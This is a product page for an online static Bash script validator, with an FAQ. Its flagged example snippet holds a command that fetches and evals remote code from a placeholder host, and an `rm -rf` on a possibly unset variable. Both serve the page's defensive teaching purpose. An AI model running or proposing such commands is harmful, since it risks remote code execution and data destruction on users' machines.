Bash Script Validator — Catch Errors Before You Run
Validate Bash scripts before running them. This free online Bash script validator parses your script statically and flags syntax errors, undefined variables, quoting bugs, and dangerous commands — without ever executing the code. Use it as a safety gate before piping curl into bash, before running a cron job you just inherited, or before pasting a one-liner from a forum into your production shell.
Example: 5 validation errors in 3 lines
#!/bin/bash
# The validator flags 5 distinct issues in this snippet
rm -rf $USER_HOME/cache
if [ $COUNT = 0 ]; then echo "empty"; fi
eval "$(curl -s http://example.com/setup)"What "validate" means here
Validation is a read-only static review. The validator confirms your script parses correctly as Bash, then checks that variables are declared before use, that command substitutions are quoted, that error handling is in place (set -e, set -u, pipefail), and that no obviously destructive or unsafe patterns are present (eval on untrusted input, rm -rf on unset variables, curl | bash without verification).
Before-you-run checklist
Pipe any curl-install script through the validator first. Inspect every cron job or systemd unit script you did not write yourself. Validate one-liners copy-pasted from chat, forums, or LLM output before pasting them into a production shell. The validator surfaces what to worry about so you can decide whether to run it — the 30 seconds of paranoia is cheaper than a corrupted database.
Validation categories
The validator groups findings into four categories: (1) syntax and parse errors that would make bash fail immediately, (2) safety issues like unquoted expansions and unset-variable references that fail unpredictably, (3) security issues like injection and eval-on-input, and (4) portability issues if the script targets sh but uses Bash-only features. Each category has its own collapsible section in the report.
Bash script validator vs `bash -n`
`bash -n script.sh` is a parse-only validator — it returns 0 if bash can read the file, even if the script would `rm -rf /` on the first line. This validator is a superset: it parses the script *and* reasons about safety and intent, so `bash -n` clean does not mean this validator clean.
No execution, ever
Your script is treated as data. The validator never sources, executes, or evals the script. There is no sandbox to escape from because there is no execution at all — even a malicious script is just text to the validator.
When to use this vs the homepage
The homepage runs the same underlying analyzer. This /bash-script-validator page is framed for the validation use case — "should I run this script?" — with the checklist and error categories above. If you're here because you're about to run an unfamiliar script, this is the right page.
Frequently asked questions
- Will the validator catch every bug?
- No static validator can guarantee that. It catches a broad class of common issues, but logic bugs that depend on runtime data (a specific file being present, a specific env var being set) may slip through.
- Is it safe to paste sensitive scripts?
- Scripts are sent to the analysis backend over HTTPS, analyzed in real time, and not persisted. For scripts containing production secrets, redact the secret values first.
- Can I validate a script I downloaded from the web?
- Yes — that is the primary use case. Validate first, then decide whether to run.
- Does the validator run the script to check it?
- No, never. Validation is 100% static — the script is analyzed as text without being interpreted, sourced, or executed in any sandbox.
- Can I use this in CI?
- For CI, local ShellCheck is faster and integrates natively with GitHub Actions and pre-commit. Use this online validator for interactive review and for scripts you cannot commit to a repo (one-liners, install scripts, forum snippets).
- What is the difference between validating and analyzing?
- They are the same underlying pass in this tool. "Validate" is framed around a yes/no run-or-not-run decision; "analyze" is framed around a full 12-dimension report. Same findings, different framing.